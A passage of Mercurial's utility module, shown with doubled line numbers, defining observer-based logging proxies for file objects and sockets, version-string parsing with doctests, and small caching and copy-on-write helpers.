540 def tell(self, *args, **kwargs):
610 return object.__getattribute__(self, r'_observedcall')(
541 return object.__getattribute__(self, r'_observedcall')(
611 r'tell', *args, **kwargs)
542 r'tell', *args, **kwargs)
612
543
613 def truncate(self, *args, **kwargs):
544 def truncate(self, *args, **kwargs):
614 return object.__getattribute__(self, r'_observedcall')(
545 return object.__getattribute__(self, r'_observedcall')(
615 r'truncate', *args, **kwargs)
546 r'truncate', *args, **kwargs)
616
547
617 def writable(self, *args, **kwargs):
548 def writable(self, *args, **kwargs):
618 return object.__getattribute__(self, r'_observedcall')(
549 return object.__getattribute__(self, r'_observedcall')(
619 r'writable', *args, **kwargs)
550 r'writable', *args, **kwargs)
620
551
621 def writelines(self, *args, **kwargs):
552 def writelines(self, *args, **kwargs):
622 return object.__getattribute__(self, r'_observedcall')(
553 return object.__getattribute__(self, r'_observedcall')(
623 r'writelines', *args, **kwargs)
554 r'writelines', *args, **kwargs)
624
555
625 def read(self, *args, **kwargs):
556 def read(self, *args, **kwargs):
626 return object.__getattribute__(self, r'_observedcall')(
557 return object.__getattribute__(self, r'_observedcall')(
627 r'read', *args, **kwargs)
558 r'read', *args, **kwargs)
628
559
629 def readall(self, *args, **kwargs):
560 def readall(self, *args, **kwargs):
630 return object.__getattribute__(self, r'_observedcall')(
561 return object.__getattribute__(self, r'_observedcall')(
631 r'readall', *args, **kwargs)
562 r'readall', *args, **kwargs)
632
563
633 def readinto(self, *args, **kwargs):
564 def readinto(self, *args, **kwargs):
634 return object.__getattribute__(self, r'_observedcall')(
565 return object.__getattribute__(self, r'_observedcall')(
635 r'readinto', *args, **kwargs)
566 r'readinto', *args, **kwargs)
636
567
637 def write(self, *args, **kwargs):
568 def write(self, *args, **kwargs):
638 return object.__getattribute__(self, r'_observedcall')(
569 return object.__getattribute__(self, r'_observedcall')(
639 r'write', *args, **kwargs)
570 r'write', *args, **kwargs)
640
571
641 def detach(self, *args, **kwargs):
572 def detach(self, *args, **kwargs):
642 return object.__getattribute__(self, r'_observedcall')(
573 return object.__getattribute__(self, r'_observedcall')(
643 r'detach', *args, **kwargs)
574 r'detach', *args, **kwargs)
644
575
645 def read1(self, *args, **kwargs):
576 def read1(self, *args, **kwargs):
646 return object.__getattribute__(self, r'_observedcall')(
577 return object.__getattribute__(self, r'_observedcall')(
647 r'read1', *args, **kwargs)
578 r'read1', *args, **kwargs)
648
579
649 class observedbufferedinputpipe(bufferedinputpipe):
580 class observedbufferedinputpipe(bufferedinputpipe):
650 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
581 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
651
582
652 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
583 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
653 bypass ``fileobjectproxy``. Because of this, we need to make
584 bypass ``fileobjectproxy``. Because of this, we need to make
654 ``bufferedinputpipe`` aware of these operations.
585 ``bufferedinputpipe`` aware of these operations.
655
586
656 This variation of ``bufferedinputpipe`` can notify observers about
587 This variation of ``bufferedinputpipe`` can notify observers about
657 ``os.read()`` events. It also re-publishes other events, such as
588 ``os.read()`` events. It also re-publishes other events, such as
658 ``read()`` and ``readline()``.
589 ``read()`` and ``readline()``.
659 """
590 """
660 def _fillbuffer(self):
591 def _fillbuffer(self):
661 res = super(observedbufferedinputpipe, self)._fillbuffer()
592 res = super(observedbufferedinputpipe, self)._fillbuffer()
662
593
663 fn = getattr(self._input._observer, r'osread', None)
594 fn = getattr(self._input._observer, r'osread', None)
664 if fn:
595 if fn:
665 fn(res, _chunksize)
596 fn(res, _chunksize)
666
597
667 return res
598 return res
668
599
669 # We use different observer methods because the operation isn't
600 # We use different observer methods because the operation isn't
670 # performed on the actual file object but on us.
601 # performed on the actual file object but on us.
671 def read(self, size):
602 def read(self, size):
672 res = super(observedbufferedinputpipe, self).read(size)
603 res = super(observedbufferedinputpipe, self).read(size)
673
604
674 fn = getattr(self._input._observer, r'bufferedread', None)
605 fn = getattr(self._input._observer, r'bufferedread', None)
675 if fn:
606 if fn:
676 fn(res, size)
607 fn(res, size)
677
608
678 return res
609 return res
679
610
680 def readline(self, *args, **kwargs):
611 def readline(self, *args, **kwargs):
681 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
612 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
682
613
683 fn = getattr(self._input._observer, r'bufferedreadline', None)
614 fn = getattr(self._input._observer, r'bufferedreadline', None)
684 if fn:
615 if fn:
685 fn(res)
616 fn(res)
686
617
687 return res
618 return res
688
619
689 PROXIED_SOCKET_METHODS = {
620 PROXIED_SOCKET_METHODS = {
690 r'makefile',
621 r'makefile',
691 r'recv',
622 r'recv',
692 r'recvfrom',
623 r'recvfrom',
693 r'recvfrom_into',
624 r'recvfrom_into',
694 r'recv_into',
625 r'recv_into',
695 r'send',
626 r'send',
696 r'sendall',
627 r'sendall',
697 r'sendto',
628 r'sendto',
698 r'setblocking',
629 r'setblocking',
699 r'settimeout',
630 r'settimeout',
700 r'gettimeout',
631 r'gettimeout',
701 r'setsockopt',
632 r'setsockopt',
702 }
633 }
703
634
704 class socketproxy(object):
635 class socketproxy(object):
705 """A proxy around a socket that tells a watcher when events occur.
636 """A proxy around a socket that tells a watcher when events occur.
706
637
707 This is like ``fileobjectproxy`` except for sockets.
638 This is like ``fileobjectproxy`` except for sockets.
708
639
709 This type is intended to only be used for testing purposes. Think hard
640 This type is intended to only be used for testing purposes. Think hard
710 before using it in important code.
641 before using it in important code.
711 """
642 """
712 __slots__ = (
643 __slots__ = (
713 r'_orig',
644 r'_orig',
714 r'_observer',
645 r'_observer',
715 )
646 )
716
647
717 def __init__(self, sock, observer):
648 def __init__(self, sock, observer):
718 object.__setattr__(self, r'_orig', sock)
649 object.__setattr__(self, r'_orig', sock)
719 object.__setattr__(self, r'_observer', observer)
650 object.__setattr__(self, r'_observer', observer)
720
651
721 def __getattribute__(self, name):
652 def __getattribute__(self, name):
722 if name in PROXIED_SOCKET_METHODS:
653 if name in PROXIED_SOCKET_METHODS:
723 return object.__getattribute__(self, name)
654 return object.__getattribute__(self, name)
724
655
725 return getattr(object.__getattribute__(self, r'_orig'), name)
656 return getattr(object.__getattribute__(self, r'_orig'), name)
726
657
727 def __delattr__(self, name):
658 def __delattr__(self, name):
728 return delattr(object.__getattribute__(self, r'_orig'), name)
659 return delattr(object.__getattribute__(self, r'_orig'), name)
729
660
730 def __setattr__(self, name, value):
661 def __setattr__(self, name, value):
731 return setattr(object.__getattribute__(self, r'_orig'), name, value)
662 return setattr(object.__getattribute__(self, r'_orig'), name, value)
732
663
733 def __nonzero__(self):
664 def __nonzero__(self):
734 return bool(object.__getattribute__(self, r'_orig'))
665 return bool(object.__getattribute__(self, r'_orig'))
735
666
736 __bool__ = __nonzero__
667 __bool__ = __nonzero__
737
668
738 def _observedcall(self, name, *args, **kwargs):
669 def _observedcall(self, name, *args, **kwargs):
739 # Call the original object.
670 # Call the original object.
740 orig = object.__getattribute__(self, r'_orig')
671 orig = object.__getattribute__(self, r'_orig')
741 res = getattr(orig, name)(*args, **kwargs)
672 res = getattr(orig, name)(*args, **kwargs)
742
673
743 # Call a method on the observer of the same name with arguments
674 # Call a method on the observer of the same name with arguments
744 # so it can react, log, etc.
675 # so it can react, log, etc.
745 observer = object.__getattribute__(self, r'_observer')
676 observer = object.__getattribute__(self, r'_observer')
746 fn = getattr(observer, name, None)
677 fn = getattr(observer, name, None)
747 if fn:
678 if fn:
748 fn(res, *args, **kwargs)
679 fn(res, *args, **kwargs)
749
680
750 return res
681 return res
751
682
752 def makefile(self, *args, **kwargs):
683 def makefile(self, *args, **kwargs):
753 res = object.__getattribute__(self, r'_observedcall')(
684 res = object.__getattribute__(self, r'_observedcall')(
754 r'makefile', *args, **kwargs)
685 r'makefile', *args, **kwargs)
755
686
756 # The file object may be used for I/O. So we turn it into a
687 # The file object may be used for I/O. So we turn it into a
757 # proxy using our observer.
688 # proxy using our observer.
758 observer = object.__getattribute__(self, r'_observer')
689 observer = object.__getattribute__(self, r'_observer')
759 return makeloggingfileobject(observer.fh, res, observer.name,
690 return makeloggingfileobject(observer.fh, res, observer.name,
760 reads=observer.reads,
691 reads=observer.reads,
761 writes=observer.writes,
692 writes=observer.writes,
762 logdata=observer.logdata,
693 logdata=observer.logdata,
763 logdataapis=observer.logdataapis)
694 logdataapis=observer.logdataapis)
764
695
765 def recv(self, *args, **kwargs):
696 def recv(self, *args, **kwargs):
766 return object.__getattribute__(self, r'_observedcall')(
697 return object.__getattribute__(self, r'_observedcall')(
767 r'recv', *args, **kwargs)
698 r'recv', *args, **kwargs)
768
699
769 def recvfrom(self, *args, **kwargs):
700 def recvfrom(self, *args, **kwargs):
770 return object.__getattribute__(self, r'_observedcall')(
701 return object.__getattribute__(self, r'_observedcall')(
771 r'recvfrom', *args, **kwargs)
702 r'recvfrom', *args, **kwargs)
772
703
773 def recvfrom_into(self, *args, **kwargs):
704 def recvfrom_into(self, *args, **kwargs):
774 return object.__getattribute__(self, r'_observedcall')(
705 return object.__getattribute__(self, r'_observedcall')(
775 r'recvfrom_into', *args, **kwargs)
706 r'recvfrom_into', *args, **kwargs)
776
707
777 def recv_into(self, *args, **kwargs):
708 def recv_into(self, *args, **kwargs):
778 return object.__getattribute__(self, r'_observedcall')(
709 return object.__getattribute__(self, r'_observedcall')(
779 r'recv_info', *args, **kwargs)
710 r'recv_info', *args, **kwargs)
780
711
781 def send(self, *args, **kwargs):
712 def send(self, *args, **kwargs):
782 return object.__getattribute__(self, r'_observedcall')(
713 return object.__getattribute__(self, r'_observedcall')(
783 r'send', *args, **kwargs)
714 r'send', *args, **kwargs)
784
715
785 def sendall(self, *args, **kwargs):
716 def sendall(self, *args, **kwargs):
786 return object.__getattribute__(self, r'_observedcall')(
717 return object.__getattribute__(self, r'_observedcall')(
787 r'sendall', *args, **kwargs)
718 r'sendall', *args, **kwargs)
788
719
789 def sendto(self, *args, **kwargs):
720 def sendto(self, *args, **kwargs):
790 return object.__getattribute__(self, r'_observedcall')(
721 return object.__getattribute__(self, r'_observedcall')(
791 r'sendto', *args, **kwargs)
722 r'sendto', *args, **kwargs)
792
723
793 def setblocking(self, *args, **kwargs):
724 def setblocking(self, *args, **kwargs):
794 return object.__getattribute__(self, r'_observedcall')(
725 return object.__getattribute__(self, r'_observedcall')(
795 r'setblocking', *args, **kwargs)
726 r'setblocking', *args, **kwargs)
796
727
797 def settimeout(self, *args, **kwargs):
728 def settimeout(self, *args, **kwargs):
798 return object.__getattribute__(self, r'_observedcall')(
729 return object.__getattribute__(self, r'_observedcall')(
799 r'settimeout', *args, **kwargs)
730 r'settimeout', *args, **kwargs)
800
731
801 def gettimeout(self, *args, **kwargs):
732 def gettimeout(self, *args, **kwargs):
802 return object.__getattribute__(self, r'_observedcall')(
733 return object.__getattribute__(self, r'_observedcall')(
803 r'gettimeout', *args, **kwargs)
734 r'gettimeout', *args, **kwargs)
804
735
805 def setsockopt(self, *args, **kwargs):
736 def setsockopt(self, *args, **kwargs):
806 return object.__getattribute__(self, r'_observedcall')(
737 return object.__getattribute__(self, r'_observedcall')(
807 r'setsockopt', *args, **kwargs)
738 r'setsockopt', *args, **kwargs)
808
739
809 class baseproxyobserver(object):
740 class baseproxyobserver(object):
810 def _writedata(self, data):
741 def _writedata(self, data):
811 if not self.logdata:
742 if not self.logdata:
812 if self.logdataapis:
743 if self.logdataapis:
813 self.fh.write('\n')
744 self.fh.write('\n')
814 self.fh.flush()
745 self.fh.flush()
815 return
746 return
816
747
817 # Simple case writes all data on a single line.
748 # Simple case writes all data on a single line.
818 if b'\n' not in data:
749 if b'\n' not in data:
819 if self.logdataapis:
750 if self.logdataapis:
820 self.fh.write(': %s\n' % stringutil.escapedata(data))
751 self.fh.write(': %s\n' % stringutil.escapedata(data))
821 else:
752 else:
822 self.fh.write('%s> %s\n'
753 self.fh.write('%s> %s\n'
823 % (self.name, stringutil.escapedata(data)))
754 % (self.name, stringutil.escapedata(data)))
824 self.fh.flush()
755 self.fh.flush()
825 return
756 return
826
757
827 # Data with newlines is written to multiple lines.
758 # Data with newlines is written to multiple lines.
828 if self.logdataapis:
759 if self.logdataapis:
829 self.fh.write(':\n')
760 self.fh.write(':\n')
830
761
831 lines = data.splitlines(True)
762 lines = data.splitlines(True)
832 for line in lines:
763 for line in lines:
833 self.fh.write('%s> %s\n'
764 self.fh.write('%s> %s\n'
834 % (self.name, stringutil.escapedata(line)))
765 % (self.name, stringutil.escapedata(line)))
835 self.fh.flush()
766 self.fh.flush()
836
767
837 class fileobjectobserver(baseproxyobserver):
768 class fileobjectobserver(baseproxyobserver):
838 """Logs file object activity."""
769 """Logs file object activity."""
839 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
770 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
840 logdataapis=True):
771 logdataapis=True):
841 self.fh = fh
772 self.fh = fh
842 self.name = name
773 self.name = name
843 self.logdata = logdata
774 self.logdata = logdata
844 self.logdataapis = logdataapis
775 self.logdataapis = logdataapis
845 self.reads = reads
776 self.reads = reads
846 self.writes = writes
777 self.writes = writes
847
778
848 def read(self, res, size=-1):
779 def read(self, res, size=-1):
849 if not self.reads:
780 if not self.reads:
850 return
781 return
851 # Python 3 can return None from reads at EOF instead of empty strings.
782 # Python 3 can return None from reads at EOF instead of empty strings.
852 if res is None:
783 if res is None:
853 res = ''
784 res = ''
854
785
855 if self.logdataapis:
786 if self.logdataapis:
856 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
787 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
857
788
858 self._writedata(res)
789 self._writedata(res)
859
790
860 def readline(self, res, limit=-1):
791 def readline(self, res, limit=-1):
861 if not self.reads:
792 if not self.reads:
862 return
793 return
863
794
864 if self.logdataapis:
795 if self.logdataapis:
865 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
796 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
866
797
867 self._writedata(res)
798 self._writedata(res)
868
799
869 def readinto(self, res, dest):
800 def readinto(self, res, dest):
870 if not self.reads:
801 if not self.reads:
871 return
802 return
872
803
873 if self.logdataapis:
804 if self.logdataapis:
874 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
805 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
875 res))
806 res))
876
807
877 data = dest[0:res] if res is not None else b''
808 data = dest[0:res] if res is not None else b''
878 self._writedata(data)
809 self._writedata(data)
879
810
880 def write(self, res, data):
811 def write(self, res, data):
881 if not self.writes:
812 if not self.writes:
882 return
813 return
883
814
884 # Python 2 returns None from some write() calls. Python 3 (reasonably)
815 # Python 2 returns None from some write() calls. Python 3 (reasonably)
885 # returns the integer bytes written.
816 # returns the integer bytes written.
886 if res is None and data:
817 if res is None and data:
887 res = len(data)
818 res = len(data)
888
819
889 if self.logdataapis:
820 if self.logdataapis:
890 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
821 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
891
822
892 self._writedata(data)
823 self._writedata(data)
893
824
894 def flush(self, res):
825 def flush(self, res):
895 if not self.writes:
826 if not self.writes:
896 return
827 return
897
828
898 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
829 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
899
830
900 # For observedbufferedinputpipe.
831 # For observedbufferedinputpipe.
901 def bufferedread(self, res, size):
832 def bufferedread(self, res, size):
902 if not self.reads:
833 if not self.reads:
903 return
834 return
904
835
905 if self.logdataapis:
836 if self.logdataapis:
906 self.fh.write('%s> bufferedread(%d) -> %d' % (
837 self.fh.write('%s> bufferedread(%d) -> %d' % (
907 self.name, size, len(res)))
838 self.name, size, len(res)))
908
839
909 self._writedata(res)
840 self._writedata(res)
910
841
911 def bufferedreadline(self, res):
842 def bufferedreadline(self, res):
912 if not self.reads:
843 if not self.reads:
913 return
844 return
914
845
915 if self.logdataapis:
846 if self.logdataapis:
916 self.fh.write('%s> bufferedreadline() -> %d' % (
847 self.fh.write('%s> bufferedreadline() -> %d' % (
917 self.name, len(res)))
848 self.name, len(res)))
918
849
919 self._writedata(res)
850 self._writedata(res)
920
851
921 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
852 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
922 logdata=False, logdataapis=True):
853 logdata=False, logdataapis=True):
923 """Turn a file object into a logging file object."""
854 """Turn a file object into a logging file object."""
924
855
925 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
856 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
926 logdata=logdata, logdataapis=logdataapis)
857 logdata=logdata, logdataapis=logdataapis)
927 return fileobjectproxy(fh, observer)
858 return fileobjectproxy(fh, observer)
928
859
929 class socketobserver(baseproxyobserver):
860 class socketobserver(baseproxyobserver):
930 """Logs socket activity."""
861 """Logs socket activity."""
931 def __init__(self, fh, name, reads=True, writes=True, states=True,
862 def __init__(self, fh, name, reads=True, writes=True, states=True,
932 logdata=False, logdataapis=True):
863 logdata=False, logdataapis=True):
933 self.fh = fh
864 self.fh = fh
934 self.name = name
865 self.name = name
935 self.reads = reads
866 self.reads = reads
936 self.writes = writes
867 self.writes = writes
937 self.states = states
868 self.states = states
938 self.logdata = logdata
869 self.logdata = logdata
939 self.logdataapis = logdataapis
870 self.logdataapis = logdataapis
940
871
941 def makefile(self, res, mode=None, bufsize=None):
872 def makefile(self, res, mode=None, bufsize=None):
942 if not self.states:
873 if not self.states:
943 return
874 return
944
875
945 self.fh.write('%s> makefile(%r, %r)\n' % (
876 self.fh.write('%s> makefile(%r, %r)\n' % (
946 self.name, mode, bufsize))
877 self.name, mode, bufsize))
947
878
948 def recv(self, res, size, flags=0):
879 def recv(self, res, size, flags=0):
949 if not self.reads:
880 if not self.reads:
950 return
881 return
951
882
952 if self.logdataapis:
883 if self.logdataapis:
953 self.fh.write('%s> recv(%d, %d) -> %d' % (
884 self.fh.write('%s> recv(%d, %d) -> %d' % (
954 self.name, size, flags, len(res)))
885 self.name, size, flags, len(res)))
955 self._writedata(res)
886 self._writedata(res)
956
887
957 def recvfrom(self, res, size, flags=0):
888 def recvfrom(self, res, size, flags=0):
958 if not self.reads:
889 if not self.reads:
959 return
890 return
960
891
961 if self.logdataapis:
892 if self.logdataapis:
962 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
893 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
963 self.name, size, flags, len(res[0])))
894 self.name, size, flags, len(res[0])))
964
895
965 self._writedata(res[0])
896 self._writedata(res[0])
966
897
967 def recvfrom_into(self, res, buf, size, flags=0):
898 def recvfrom_into(self, res, buf, size, flags=0):
968 if not self.reads:
899 if not self.reads:
969 return
900 return
970
901
971 if self.logdataapis:
902 if self.logdataapis:
972 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
903 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
973 self.name, size, flags, res[0]))
904 self.name, size, flags, res[0]))
974
905
975 self._writedata(buf[0:res[0]])
906 self._writedata(buf[0:res[0]])
976
907
977 def recv_into(self, res, buf, size=0, flags=0):
908 def recv_into(self, res, buf, size=0, flags=0):
978 if not self.reads:
909 if not self.reads:
979 return
910 return
980
911
981 if self.logdataapis:
912 if self.logdataapis:
982 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
913 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
983 self.name, size, flags, res))
914 self.name, size, flags, res))
984
915
985 self._writedata(buf[0:res])
916 self._writedata(buf[0:res])
986
917
987 def send(self, res, data, flags=0):
918 def send(self, res, data, flags=0):
988 if not self.writes:
919 if not self.writes:
989 return
920 return
990
921
991 self.fh.write('%s> send(%d, %d) -> %d' % (
922 self.fh.write('%s> send(%d, %d) -> %d' % (
992 self.name, len(data), flags, len(res)))
923 self.name, len(data), flags, len(res)))
993 self._writedata(data)
924 self._writedata(data)
994
925
995 def sendall(self, res, data, flags=0):
926 def sendall(self, res, data, flags=0):
996 if not self.writes:
927 if not self.writes:
997 return
928 return
998
929
999 if self.logdataapis:
930 if self.logdataapis:
1000 # Returns None on success. So don't bother reporting return value.
931 # Returns None on success. So don't bother reporting return value.
1001 self.fh.write('%s> sendall(%d, %d)' % (
932 self.fh.write('%s> sendall(%d, %d)' % (
1002 self.name, len(data), flags))
933 self.name, len(data), flags))
1003
934
1004 self._writedata(data)
935 self._writedata(data)
1005
936
1006 def sendto(self, res, data, flagsoraddress, address=None):
937 def sendto(self, res, data, flagsoraddress, address=None):
1007 if not self.writes:
938 if not self.writes:
1008 return
939 return
1009
940
1010 if address:
941 if address:
1011 flags = flagsoraddress
942 flags = flagsoraddress
1012 else:
943 else:
1013 flags = 0
944 flags = 0
1014
945
1015 if self.logdataapis:
946 if self.logdataapis:
1016 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
947 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
1017 self.name, len(data), flags, address, res))
948 self.name, len(data), flags, address, res))
1018
949
1019 self._writedata(data)
950 self._writedata(data)
1020
951
1021 def setblocking(self, res, flag):
952 def setblocking(self, res, flag):
1022 if not self.states:
953 if not self.states:
1023 return
954 return
1024
955
1025 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
956 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
1026
957
1027 def settimeout(self, res, value):
958 def settimeout(self, res, value):
1028 if not self.states:
959 if not self.states:
1029 return
960 return
1030
961
1031 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
962 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
1032
963
1033 def gettimeout(self, res):
964 def gettimeout(self, res):
1034 if not self.states:
965 if not self.states:
1035 return
966 return
1036
967
1037 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
968 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
1038
969
1039 def setsockopt(self, level, optname, value):
970 def setsockopt(self, level, optname, value):
1040 if not self.states:
971 if not self.states:
1041 return
972 return
1042
973
1043 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
974 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
1044 self.name, level, optname, value))
975 self.name, level, optname, value))
1045
976
1046 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
977 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
1047 logdata=False, logdataapis=True):
978 logdata=False, logdataapis=True):
1048 """Turn a socket into a logging socket."""
979 """Turn a socket into a logging socket."""
1049
980
1050 observer = socketobserver(logh, name, reads=reads, writes=writes,
981 observer = socketobserver(logh, name, reads=reads, writes=writes,
1051 states=states, logdata=logdata,
982 states=states, logdata=logdata,
1052 logdataapis=logdataapis)
983 logdataapis=logdataapis)
1053 return socketproxy(fh, observer)
984 return socketproxy(fh, observer)
1054
985
1055 def version():
986 def version():
1056 """Return version information if available."""
987 """Return version information if available."""
1057 try:
988 try:
1058 from . import __version__
989 from . import __version__
1059 return __version__.version
990 return __version__.version
1060 except ImportError:
991 except ImportError:
1061 return 'unknown'
992 return 'unknown'
1062
993
1063 def versiontuple(v=None, n=4):
994 def versiontuple(v=None, n=4):
1064 """Parses a Mercurial version string into an N-tuple.
995 """Parses a Mercurial version string into an N-tuple.
1065
996
1066 The version string to be parsed is specified with the ``v`` argument.
997 The version string to be parsed is specified with the ``v`` argument.
1067 If it isn't defined, the current Mercurial version string will be parsed.
998 If it isn't defined, the current Mercurial version string will be parsed.
1068
999
1069 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1000 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1070 returned values:
1001 returned values:
1071
1002
1072 >>> v = b'3.6.1+190-df9b73d2d444'
1003 >>> v = b'3.6.1+190-df9b73d2d444'
1073 >>> versiontuple(v, 2)
1004 >>> versiontuple(v, 2)
1074 (3, 6)
1005 (3, 6)
1075 >>> versiontuple(v, 3)
1006 >>> versiontuple(v, 3)
1076 (3, 6, 1)
1007 (3, 6, 1)
1077 >>> versiontuple(v, 4)
1008 >>> versiontuple(v, 4)
1078 (3, 6, 1, '190-df9b73d2d444')
1009 (3, 6, 1, '190-df9b73d2d444')
1079
1010
1080 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1011 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1081 (3, 6, 1, '190-df9b73d2d444+20151118')
1012 (3, 6, 1, '190-df9b73d2d444+20151118')
1082
1013
1083 >>> v = b'3.6'
1014 >>> v = b'3.6'
1084 >>> versiontuple(v, 2)
1015 >>> versiontuple(v, 2)
1085 (3, 6)
1016 (3, 6)
1086 >>> versiontuple(v, 3)
1017 >>> versiontuple(v, 3)
1087 (3, 6, None)
1018 (3, 6, None)
1088 >>> versiontuple(v, 4)
1019 >>> versiontuple(v, 4)
1089 (3, 6, None, None)
1020 (3, 6, None, None)
1090
1021
1091 >>> v = b'3.9-rc'
1022 >>> v = b'3.9-rc'
1092 >>> versiontuple(v, 2)
1023 >>> versiontuple(v, 2)
1093 (3, 9)
1024 (3, 9)
1094 >>> versiontuple(v, 3)
1025 >>> versiontuple(v, 3)
1095 (3, 9, None)
1026 (3, 9, None)
1096 >>> versiontuple(v, 4)
1027 >>> versiontuple(v, 4)
1097 (3, 9, None, 'rc')
1028 (3, 9, None, 'rc')
1098
1029
1099 >>> v = b'3.9-rc+2-02a8fea4289b'
1030 >>> v = b'3.9-rc+2-02a8fea4289b'
1100 >>> versiontuple(v, 2)
1031 >>> versiontuple(v, 2)
1101 (3, 9)
1032 (3, 9)
1102 >>> versiontuple(v, 3)
1033 >>> versiontuple(v, 3)
1103 (3, 9, None)
1034 (3, 9, None)
1104 >>> versiontuple(v, 4)
1035 >>> versiontuple(v, 4)
1105 (3, 9, None, 'rc+2-02a8fea4289b')
1036 (3, 9, None, 'rc+2-02a8fea4289b')
1106 """
1037 """
1107 if not v:
1038 if not v:
1108 v = version()
1039 v = version()
1109 parts = remod.split('[\+-]', v, 1)
1040 parts = remod.split('[\+-]', v, 1)
1110 if len(parts) == 1:
1041 if len(parts) == 1:
1111 vparts, extra = parts[0], None
1042 vparts, extra = parts[0], None
1112 else:
1043 else:
1113 vparts, extra = parts
1044 vparts, extra = parts
1114
1045
1115 vints = []
1046 vints = []
1116 for i in vparts.split('.'):
1047 for i in vparts.split('.'):
1117 try:
1048 try:
1118 vints.append(int(i))
1049 vints.append(int(i))
1119 except ValueError:
1050 except ValueError:
1120 break
1051 break
1121 # (3, 6) -> (3, 6, None)
1052 # (3, 6) -> (3, 6, None)
1122 while len(vints) < 3:
1053 while len(vints) < 3:
1123 vints.append(None)
1054 vints.append(None)
1124
1055
1125 if n == 2:
1056 if n == 2:
1126 return (vints[0], vints[1])
1057 return (vints[0], vints[1])
1127 if n == 3:
1058 if n == 3:
1128 return (vints[0], vints[1], vints[2])
1059 return (vints[0], vints[1], vints[2])
1129 if n == 4:
1060 if n == 4:
1130 return (vints[0], vints[1], vints[2], extra)
1061 return (vints[0], vints[1], vints[2], extra)
1131
1062
1132 def cachefunc(func):
1063 def cachefunc(func):
1133 '''cache the result of function calls'''
1064 '''cache the result of function calls'''
1134 # XXX doesn't handle keywords args
1065 # XXX doesn't handle keywords args
1135 if func.__code__.co_argcount == 0:
1066 if func.__code__.co_argcount == 0:
1136 cache = []
1067 cache = []
1137 def f():
1068 def f():
1138 if len(cache) == 0:
1069 if len(cache) == 0:
1139 cache.append(func())
1070 cache.append(func())
1140 return cache[0]
1071 return cache[0]
1141 return f
1072 return f
1142 cache = {}
1073 cache = {}
1143 if func.__code__.co_argcount == 1:
1074 if func.__code__.co_argcount == 1:
1144 # we gain a small amount of time because
1075 # we gain a small amount of time because
1145 # we don't need to pack/unpack the list
1076 # we don't need to pack/unpack the list
1146 def f(arg):
1077 def f(arg):
1147 if arg not in cache:
1078 if arg not in cache:
1148 cache[arg] = func(arg)
1079 cache[arg] = func(arg)
1149 return cache[arg]
1080 return cache[arg]
1150 else:
1081 else:
1151 def f(*args):
1082 def f(*args):
1152 if args not in cache:
1083 if args not in cache:
1153 cache[args] = func(*args)
1084 cache[args] = func(*args)
1154 return cache[args]
1085 return cache[args]
1155
1086
1156 return f
1087 return f
1157
1088
1158 class cow(object):
1089 class cow(object):
1159 """helper class to make copy-on-write easier
1090 """helper class to make copy-on-write easier
1160
1091
1161 Call preparewrite before doing any writes.
1092 Call preparewrite before doing any writes.
1162 """
1093 """
1163
1094
1164 def preparewrite(self):
1095 def preparewrite(self):
1165 """call this before writes, return self or a copied new object"""
1096 """call this before writes, return self or a copied new object"""
1166 if getattr(self, '_copied', 0):
1097 if getattr(self, '_copied', 0):
1167 self._copied -= 1
1098 self._copied -= 1
1168 return self.__class__(self)
1099 return self.__class__(self)
1169 return self
1100 return self
1170
1101
1171 def copy(self):
1102 def copy(self):
1172 """always do a cheap copy"""
1103 """always do a cheap copy"""
1173 self._copied = getattr(self, '_copied', 0) + 1
1104 self._copied = getattr(self, '_copied', 0) + 1
1174 return self
1105 return self
1175
1106
1176 class sortdict(collections.OrderedDict):
1107 class sortdict(collections.OrderedDict):
1177 '''a simple sorted dictionary
1108 '''a simple sorted dictionary
1178
1109
1179 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1110 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1180 >>> d2 = d1.copy()
1111 >>> d2 = d1.copy()
1181 >>> d2
1112 >>> d2
1182 sortdict([('a', 0), ('b', 1)])
1113 sortdict([('a', 0), ('b', 1)])
1183 >>> d2.update([(b'a', 2)])
1114 >>> d2.update([(b'a', 2)])
1184 >>> list(d2.keys()) # should still be in last-set order
